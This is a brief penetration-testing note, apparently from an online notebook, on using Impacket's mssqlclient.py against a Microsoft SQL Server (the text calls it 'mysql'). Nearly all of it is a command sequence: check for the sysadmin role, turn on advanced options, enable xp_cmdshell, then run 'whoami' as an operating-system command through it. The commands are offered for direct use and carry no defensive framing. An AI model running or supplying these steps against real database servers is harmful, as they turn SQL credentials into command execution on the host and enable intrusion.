Impacket's mssqlclient.py
Last updated
We can use this tool to interact with mysql server using login credentials and then execute sql quieries.
SELECT IS_SRVROLEMEMBER('sysadmin')EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"Last updated